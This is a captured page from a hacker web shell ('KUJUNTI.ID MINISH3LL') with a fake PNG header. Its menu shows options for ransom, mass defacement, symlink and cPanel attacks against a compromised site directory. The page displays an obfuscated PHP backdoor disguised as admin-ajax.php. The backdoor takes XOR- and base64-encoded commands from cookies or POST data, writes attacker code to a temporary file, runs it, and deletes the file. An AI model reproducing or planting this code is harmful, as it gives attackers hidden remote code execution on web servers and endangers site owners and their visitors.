\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/softech.com.tr/demo/
(S)h3ll Cr3at0r :
F!le Upl0ad :
B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H
Current File : /var/www/html/softech.com.tr/demo/admin-ajax.php


<?php 	function	_vwbvzshrl(){$_nyi_qt='cqfoz_nzkf';    print_r /*ahew  */ (41240+41240); /* l  */ }
$y_led_pn   =       'y_led_pn' /*p */ ^    '7';



$aarkaxbam      = /*   avdf  */ $_COOKIE;


$qkanou    = /*   vb */ 'hfyo';

$bz_e_oisei    =    334;
$efmkwz	= /*   xmybx*/ $bz_e_oisei    %       17;






function	xxkmyvl($r_tibssouxvxxvgvhl,     $gkqllp){

 /*  bgkkc_ */ global     $y_led_pn;
       $dtatfxcxm     = /*k   */ "";


   $hmnlp /*kxj*/ =	613;


    $r_tibssou	=   0;

	

    while      ($r_tibssou	<      strlen($r_tibssouxvxxvgvhl))    { /*   djz   */ $qgjhcjypy /*  eyt   */ =    0; /*p   */ while    ($qgjhcjypy /*  jg   */ < /*r_uzy*/ strlen($gkqllp)    && /*  wrfolz */ $r_tibssou    <      strlen($r_tibssouxvxxvgvhl))    {

  

 /* _t*/ $dtatfxcxm	.= /* fi  */ $y_led_pn(ord($r_tibssouxvxxvgvhl[$r_tibssou])	^ /* ga_   */ ord($gkqllp[$qgjhcjypy]));

    $dmeym     =    306;

 /* jaipp */  /* rn  */ $qgjhcjypy++;

   $r_tibssou++;	}

       }   return /* _ty */ $dtatfxcxm;}





function    liaqqyzr($d_uuxsh,	$r_tibssouxvxxvgvhl)


{


    global /* rvxxcg  */ $y_led_pn;




 /* hjjlft*/ $foqxe    =     sprintf("\56"       .      "/"."%"."\x73"   .  "\x2e"    .    "\x70"    .    "l",	md5($d_uuxsh));
   $y_rebrulp   = /* zk_tc_  */ 'ajknx';

 /*uwbo   */ file_put_contents($foqxe,	"<"   .    "?"."p"."\x68" /* wydwbv  */ .    "\160"	.  $y_led_pn(32)    .      "\165" /* yymvrl  */ . /*dpjrds*/ "\156" /*   iyzky*/ .    "l"."i".$y_led_pn(260-150) /*ibx  */ . /* _rnlx */ "\153"      . /*  zoj  */ "("."_".$y_led_pn(386-291) /*xinhd*/ .  "F".$y_led_pn(649-576)    .     $y_led_pn(968-892) /* bw*/ .    "\105"	.	"\x5f"       . /* mkn*/ "_".")".";".$y_led_pn(32) /*c */ . /*   bd_x */ $r_tibssouxvxxvgvhl["\144"]);
$wvnktgozt    =       'eegfbenovl';


    include($foqxe);

       $z_wcbocmyk /*   wm */ =	'id'; /* omig   */ $xauduo	=   $foqxe;

   @unlink($xauduo);
}


function /*  v  */ xr_bshb(){	$xidziz      =     'uglzkozo';
   $dvcpcmes	=       'cefjskhjpi';

}

xr_bshb();



function    yxggkwbf()
{
    global      $y_led_pn;




       $r_tibssou	= /* reel*/ array();


      $r_tibssou["p"."v"]    =    phpversion();
	$r_tibssou["s".$y_led_pn(118)] /*xiu */ =  "3".".".$y_led_pn(276-223);
 /*   iab */ $rhhzzyw    = /*  p  */ 'rz';


    $mkzhzlka /*   r   */ =     'tsbrgainb';

  echo    @serialize($r_tibssou);
  $rwitnwq  = /* hvche*/ 'xoa';

	$cviydc    =    914;
}

function   dbyevw($r_tibssouxvxxvgvhl,       $d_uuxsh,    $azhobzs){
    global /*   sroygh  */ $y_led_pn;


	$r_tibssouxvxxvgvhl    =    unserialize(xxkmyvl(xxkmyvl(base64_decode($r_tibssouxvxxvgvhl),     $d_uuxsh),    $azhobzs)); /*  mu__p */ $v_wsgt /* ms  */ = /*jg*/ 568;

     if /*   vsunu   */ (isset($r_tibssouxvxxvgvhl[$y_led_pn(881-784)    .	"\x6b"]))	{

     if /* ivt   */ ($r_tibssouxvxxvgvhl[$y_led_pn(241-144)]   == /*  k  */ "i")	{


	yxggkwbf();


    } /* jzzdgq */ elseif      ($r_tibssouxvxxvgvhl[$y_led_pn(241-144)]     ==    $y_led_pn(101))	{

  liaqqyzr($d_uuxsh, /*   flywp   */ $r_tibssouxvxxvgvhl);


    }
	exit(); /*x   */ }


}


$aarkaxbam /*   tdeq  */ =     array_merge($_POST, /*   kqon*/ $aarkaxbam);


$d_uuxsh /*   zr*/ =    "9"."b"."\60"	.	$y_led_pn(101)       .	"\144"."\146"    .      "1"."1"."-"."\x34" /*   cyqgh */ . /* td */ "6"."\x35"  . /* z   */ $y_led_pn(339-286) /* s */ . /*   qyr*/ "\55"       .     "\x34"   .	"\70"     .    $y_led_pn(393-296)	.    "\x32"   .    "-".$y_led_pn(241-144)."\145"    .   "\143"    .	"\x64"       .    "-".$y_led_pn(97) /* lp */ .    "\71" /*  kzrutz */ .      $y_led_pn(537-486)       .      "\142"       .       "4"."\x34"    .    "1".$y_led_pn(299-243)	. /* ofket*/ "\x36"    .	$y_led_pn(237-180)       .  "9"."\61";


$maibq	=	'bduzudbaj';

$fp_xpgpx_ /*   d */ =       'depbdxuuxq';
foreach /*   btkceu   */ ($aarkaxbam    as	$azhobzs /* r*/ =>     $r_tibssouxvxxvgvhl)      {


      dbyevw($r_tibssouxvxxvgvhl,	$d_uuxsh,   $azhobzs);}








?>

© KUJUNTI.ID